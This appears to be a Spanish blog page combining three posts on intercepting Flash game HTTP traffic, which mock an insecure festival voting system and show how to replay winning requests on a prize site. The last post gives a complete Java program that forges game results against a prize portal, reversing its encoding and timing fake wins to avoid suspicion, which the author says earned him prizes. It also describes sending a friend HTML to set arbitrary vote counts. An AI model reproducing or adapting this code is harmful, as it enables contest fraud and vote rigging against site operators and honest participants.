La peor cagada de los últimos meses (Flash http Interception III)

Dios! malditos patanes ignorantes! Como sigamos así vamos a convertir Internet en un estercolero de código, donde auténticos indocumentados programan sin tener ni puñentera idea de lo que están haciendo. Y la gente les contrata… ¿tan mal está la oferta de profesionales en informática?

La última GRAN CAGADA con mayúsculas que he encontrado por internet, es un sistema de votaciones, anunciado a bombo y platillo (por lo menos en las emisoras de radio de Navarra) que pretendía seleccionar la mejor Txaranga de las fiestas de San Fermín de 2008.

Recibí la llamada de un amigo músico que toca en una de las txarangas para que votara a su grupo. Lejos de intentar realizar ningún tipo de artimaña, al ver que el sistema estaba realizado en Flash, me intrigó mirarle las tripas; y lo que ví me dió tanto asco que no me quedó más remedio que escribir 4 lineas de código html y mandarselas a mi amigo para que hiciese lo que quisiera con ellas.

Cagada Ferminmusic

Siguiendo algunos de los pasos de análisis descritos en un post anterior, mi primera observación demostró que habían seleccionado a la persona más inútil del planeta para desarrollar el sistema de votaciones. O eso o había sido un chimpancé, un loro, una ameba o cualquier otro ser vivo medianamente inteligente. Resumiendo, para votar lo único que hay que hacer es un POST a una dirección determinada con dos parámetros: votos=,id=

La variables “votos” es directamente el número de votos totales (ni diferencias ni incrementos…), e id el número de txaranga a la que estás votando. PEOR IMPOSIBLE, vaya cagada, ni un mínimo control, ni verificación (sólo se puede votar de 1 a 5 votos), ni cifrado, ni utilización de coockies, ni control de sesión o ip… NADA. Una de las chapuzas más grandes que jamás he visto.

Me puse de tan mala gaita que no dudé en escribir las cuatro líneas html necesarias para establecer al número de votos que quieras en la txaranga que desees y que aquí mismo os dejo:

cuatro líneas de codigo

(cuando digo que son 4 líneas, es que son 4…)

El concurso creo que dura hasta septiembre… veremos si alguien se digna en arreglar tan soberana bazofia.

Flash HTTP Interception (II)

Expongamos otro caso práctico (y actual) de lo que comentaba en el post anterior “automatizar jugadas (Flash HTTP interception)”.

En ese post daba unas pequeñas pistas, incluyendo código, de cómo se puede ganar en los famosos sitios de juegos online. La verdad es que ganar haciendo trampas no tiene ninguna gracia, bueno, la tiene cuando el ganador recibe a cambio algún tipo de regalo.

Os refresco la técnica:

  1. Observar el comportamiento del sitio cuando ganas y cuando pierdes capturando el tráfico HTTP
  2. Replicar ocasiones de éxito

Para el punto primero (observación) os comenté que hace años yo usaba un sencillo proxy capturador y hacía pasar las peticiones por el mismo para observarlas. Han pasado los años y ahora tenemos un compañero de viaje que nos facilita mucho todas estas tareas: Firefox. Personalmente uso dos extensiones de Firefox que para este mundillo son imprescindibles: WebDeveloper y mi último descubrimiento, Live Http Headers – imprescindible!!! te muestra todas las peticiones HTTP y te deja incluso repetirlas (cada día nos lo ponen más fácil)

He estado realizando un par de búsquedas en google y me han aparecido bastantes sitios con juegos flash y premios para los ganadores y ni corto ni perezoso he analizado uno de ellos. Los juegecitos en cuestión del sitio que he analizado tienen esta pinta:

clipboard02.jpg

Y analizando todo el tráfico http cada vez que se juega, se llega a la conclusión que el paso de esa información (ganar o perder) se realiza mediante un mecanismo bastante simple: el código actionScript del flash solicita una imagen al servidor junto con unos coockies que se repiten siempre e identifican una especie de secuencia temporal diferente para cada partida:

———————————————————-
http://xxxxxxxxxxx/images-es/tickettoudou/i-1.png

GET /images-es/tickettoudou/i-1.png HTTP/1.1
Host: es.xxxxxxx.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: COOKIEredirectLangOk=ok; COOKIEis_accepted=1; __utma=192013163.1220524688.1190971015.1190971015.1190971015.1;__utmb=192013163; __utmc=192013163; __utmz=192013163.1190971015.1.1.utmccn=(organic)|utmcsr=xxxxxx|utmctr=xxxxxx|utmcmd=organic;

———————————————————-

clipboard01.jpg

Con esta información y símplemente utilizando la funcionalidad del propio Live Http Headers de reenviar una petición, podemos replicar una jugada exitosa anterior, pasándole los mismos coockies, etc:

clipboard04.jpg

La imagen muestra que hemos ganado esos miserables 0,02 puntos y además, replicando el comportamiento varias veces, llega un momento en el que los puntos ya no suman (una partida tiene un máximo de intentos) por lo que habrá que volver a generar esos coockies que indican la temporalidad de la jugada.

Por tanto, la solución “óptima” para ganar del modo más rápido consistiría en estudiar exactamente cuál es el número máximo de jugadas e implementar un programa que reinicie las partidas solicitando la información de coockies necesaria para cada vuelta.

En fin, símplemente quería exponer que desde mi última aventura Flash HTTP Interception hasta hoy, las cosas siguen igual… vamos que se puede hacer trampas de modo muuuuyyy sencillo.

Automatizar jugadas (Flash HTTP interception)

Ahora que está tan de moda el “mundo injection” (XSS, SQLIn…, que digo yo, siendo la solución tan simple no sé por que coño se le está dando tanta vuelta) quiero exponer un pequeño caso de intercepción http (captura de tráfico, análisis y automatización de peticiones) que no es injection, pero su filosofía es la misma.
El origen del problema: Flash, Macromierda Flash, diseñadores haciéndose pasar por programadores. Hace 6 años existía un portal de nombre loquesea.es. Era el típico portal de juegos flash, en el que te llevabas regalos si quedabas primero. Los juegos, al igual que los de hoy en día estaban desarrollados en Flash, incorporando la lógica de la aplicación y comunicándose con el servidor mediante peticiones http para trasladarle los resultados de las partidas. Esto también pasa hoy en día así que lo que cuento es aplicable a bastantes webs de juegos Flash.

En primer lugar hemos de conseguir ver cómo se comunica la aplicación flash con el servidor, y para ello, nada más sencillo que instalarnos un mini proxy capturador de tráfico en nuestro propio equipo, de forma que las peticiones http de nuestro navegador (incluidas las del flash, etc) pasan por el proxy y nos desvela su contenido. Hay varios en internet, y si no nos lo hacemos, que tampoco cuesta tanto. (también podríamos utilizar ethereal con un filtro “port 80” pero esto me gusta menos, ya que da demasiada información y solo nos interesa la capa de aplicación)

Una vez hecho esto, simulamos unas cuantas partidas y vemos todo lo que pasa cuando ganamos y cuando perdemos. Seguramente algo se envíe codificado, pero también casi seguro que será una codificación simple y fácilmente reversible, por el mero hecho de que el servidor debe interpretarla y por tanto decodificarla, y el uso de criptografía asimétrica me parece un poco heavy para un diseñador con curso CCC de programación.

Debemos detectar toda la comunicación, en el caso de loquesea.es, se hacía una primera petición para obtener un número aleatorio que se utilizaba posteriormente en todas las comunicaciones.

Solo nos queda replicar lo que hemos visto, pero favoreciendo nuestras jugadas. En mi caso utilicé un temporizador para simular tiempos reales de juego, con partidas aleatorias pero de gran tendencia ganadora. Eso evita sospechas, y se puede dejar por la noche, así pareces un “viciado” aunque realmente no estás jugando y ganas siempre.

El código en cuestión que me permitió conseguir mis regalos es:


001 /*
002 * Apu.java
003 *
004 * Created on 13 de junio de 2001, 16:35
005 */
006 import java.net.*;
007 import java.io.*;
008 /**
009 *
010 * @author GuemboyMan
011 *
012 */
013 public class Apu extends Thread{
014
015 private static int totalPtos=0;
016
017 public static void main (String[] args ) throws Exception{
018 String s;
019 int c;
020 Socket sock;
021 DataOutputStream sOut;
022 DataInputStream sIn;
023 int i,sec,userId=000000; //userId
024 String host="es.loquesea.com";
025 String rnd;
026 //Bucle principal.
027 for(i=0;i<1000;i++){
028 //delay
029 System.out.println("-------> PARTIDA JUGADA: "+i);
030 try {
031 sleep((int)((Math.random()+1) * 4000));
032 }
033 catch (InterruptedException e) {}
034 //abrir conexión
035 try {
036 // Conectar inicializando el random.
037 s=strIni(userId);
038 s=setHeader(s);
039 sock = new Socket(host, 80);
040 sOut = new DataOutputStream(sock.getOutputStream());
041 sOut.writeBytes(s);
042
043 // leemos esa entrada
044 sIn = new DataInputStream(sock.getInputStream());
045 //Conseguir el random
046 rnd="";
047 boolean detect=false;
048 while( ( c = sIn.read() ) != -1 ){
049 System.out.print( (char)c );
050 if (detect&&((char)c)!='"')rnd=rnd+(char)c;
051 if(((char)c)=='"')if(detect) detect=false;
052 else detect=true;
053 }
054 sOut.close();
055 sIn.close();
056 sock.close();
057 System.out.println("Número aleatorio: "+rnd);
058 /* Parte del programa que se dedica a conseguir
059 * puntos... altenando perdidasy ganancias...
060 */
061 s=strPuntos(userId,i,rnd);
062 s=setHeader(s);
063 sock = new Socket(host, 80);
064 sOut = new DataOutputStream(sock.getOutputStream());
065 sOut.writeBytes(s);
066 sOut.close();
067 sock.close();
068 } catch( Exception e ) {System.out.println( e ); }
069 }
070 System.out.println("------- FIN PARTIDAS");
071 }
072
073
074 private static String codificar(String s){
075 String s1="";
076 int i=0;
077 for(int k=0;k<s.length();k++){
078 i+=s.charAt(k);
079 s1=s1+Integer.toString(s.charAt(k),16);
080 }
081 return s1+"_"+i;
082 }
083
084 private static String strIni(int uid){
085 String s;
086 s="game_init=1&user_id=" + uid +"&game_id=5"; //esto devuelve el random
087 return "GET /games/ffm.php?"+codificar(s)+ " HTTP/1.0";
088 }
089
090 /* string con la cadena de puntos, depende de i
091 * ganara 2000, 3000, o perdera 1000. se simula juego real con tendencia a ganar
092 */
093 private static String strPuntos(int uid,int i,String rnd){
094 int points=2000;
095 int j=i*(int)((Math.random()*10));
096 if(((j % 11)==0)||((j % 7)==0)||(j % 5)==0)points=-1000;
097 if((j % 9)==0)points=3000;
098 totalPtos=totalPtos+points;
099 String s="new_points="+points;
100 s=s+"&user_id="+uid;
101 s=s+"&new_hs=1000&game_id=5&random_number="+rnd;
102 s=s+"&end_level=1";
103 System.out.println("Puntos obtenidos: "+points+" TOTAL: "+totalPtos);
104 return "GET /games/ffm.php?"+codificar(s)+ " HTTP/1.0";
105 }
106
107 private static String setHeader(String s){
108 String header="Accept-Language: es-MDn";
109 header=header+"Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2n";
110 header=header+"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Win32)n";
111 return s+header;
112 }
113 }